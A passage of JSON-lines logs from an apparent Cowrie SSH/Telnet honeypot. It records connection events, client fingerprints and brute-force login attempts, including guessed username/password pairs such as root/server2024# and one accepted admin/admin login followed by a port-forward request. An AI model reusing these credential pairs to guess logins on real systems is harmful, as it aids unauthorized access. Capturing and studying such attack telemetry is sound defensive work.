oup14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:45.220964Z","src_ip":"43.162.98.118","session":"78c5241628f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2024#","message":"login attempt [root/server2024#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:45.532575Z","src_ip":"43.162.98.118","session":"78c5241628f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:46.603979Z","src_ip":"43.162.98.118","session":"78c5241628f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":51286,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fc96a34d2a","protocol":"ssh","message":"New connection: 210.183.21.53:51286 (10.17.0.5:22) [session: 91fc96a34d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:06.030247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:06.036616Z","src_ip":"210.183.21.53","session":"91fc96a34d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:06.241497Z","src_ip":"210.183.21.53","session":"91fc96a34d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:07.085142Z","src_ip":"210.183.21.53","session":"91fc96a34d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:08.290111Z","src_ip":"210.183.21.53","session":"91fc96a34d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.7341833114624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:19.522170Z","src_ip":"103.115.172.252","session":"d3bbe923374f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b2bf21e9259","protocol":"telnet","message":"New connection: 69.65.3.189:50988 (10.17.0.5:23) [session: 4b2bf21e9259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:28.548265Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":43130,"dst_ip":"159.203.135.109","dst_port":22,"session":"292b1050a5e2","protocol":"ssh","message":"New connection: 43.162.98.118:43130 (159.203.135.109:22) [session: 292b1050a5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:39.072716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:39.077287Z","src_ip":"43.162.98.118","session":"292b1050a5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:39.145064Z","src_ip":"43.162.98.118","session":"292b1050a5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty12345","message":"login attempt [ubuntu/qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:39.450581Z","src_ip":"43.162.98.118","session":"292b1050a5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:19:40.522016Z","src_ip":"43.162.98.118","session":"292b1050a5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":40040,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9449295c103","protocol":"ssh","message":"New connection: 210.183.21.53:40040 (10.17.0.5:22) [session: b9449295c103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:01.161524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:01.166677Z","src_ip":"210.183.21.53","session":"b9449295c103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:01.369107Z","src_ip":"210.183.21.53","session":"b9449295c103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"zxc","message":"login attempt [ftpuser/zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:02.207041Z","src_ip":"210.183.21.53","session":"b9449295c103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:03.414133Z","src_ip":"210.183.21.53","session":"b9449295c103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.6217246055603,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:08.169854Z","src_ip":"69.65.3.189","session":"4b2bf21e9259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61480,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e8aedb2606","protocol":"ssh","message":"New connection: 87.251.64.176:61480 (10.17.0.5:22) [session: f2e8aedb2606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.041518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.047673Z","src_ip":"87.251.64.176","session":"f2e8aedb2606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.145572Z","src_ip":"87.251.64.176","session":"f2e8aedb2606","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.438850Z","src_ip":"87.251.64.176","session":"f2e8aedb2606","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.538408Z","session":"f2e8aedb2606","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.640734Z","src_ip":"87.251.64.176","session":"f2e8aedb2606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:12.749265Z","src_ip":"87.251.64.176","session":"f2e8aedb2606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":58862,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1ecedb7ddf","protocol":"ssh","message":"New connection: 43.162.98.118:58862 (159.203.135.109:22) [session: 4c1ecedb7ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:30.316630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:30.322756Z","src_ip":"43.162.98.118","session":"4c1ecedb7ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:30.391568Z","src_ip":"43.162.98.118","session":"4c1ecedb7ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"password","message":"login attempt [kafka/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:30.694938Z","src_ip":"43.162.98.118","session":"4c1ecedb7ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:31.765981Z","src_ip":"43.162.98.118","session":"4c1ecedb7ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":57028,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bf8c7b15d9","protocol":"ssh","message":"New connection: 210.183.21.53:57028 (10.17.0.5:22) [session: 27bf8c7b15d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:57.007538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:57.011746Z","src_ip":"210.183.21.53","session":"27bf8c7b15d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:57.207975Z","src_ip":"210.183.21.53","session":"27bf8c7b15d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test-1234","message":"login attempt [root/test-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:58.021232Z","src_ip":"210.183.21.53","session":"27bf8c7b15d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:20:59.220269Z","src_ip":"210.183.21.53","session":"27bf8c7b15d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":51672,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f649369428","protocol":"ssh","message":"New connection: 36.92.140.209:51672 (159.203.135.109:22) [session: 21f649369428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:12.274996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:12.279691Z","src_ip":"36.92.140.209","session":"21f649369428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:12.554784Z","src_ip":"36.92.140.209","session":"21f649369428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty!@#","message":"login attempt [root/Qwerty!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:13.683932Z","src_ip":"36.92.140.209","session":"21f649369428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:14.963531Z","src_ip":"36.92.140.209","session":"21f649369428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":52634,"dst_ip":"159.203.135.109","dst_port":22,"session":"059a9b6fdd8c","protocol":"ssh","message":"New connection: 43.162.98.118:52634 (159.203.135.109:22) [session: 059a9b6fdd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:19.386482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:19.391516Z","src_ip":"43.162.98.118","session":"059a9b6fdd8c","protocol":"ssh"}
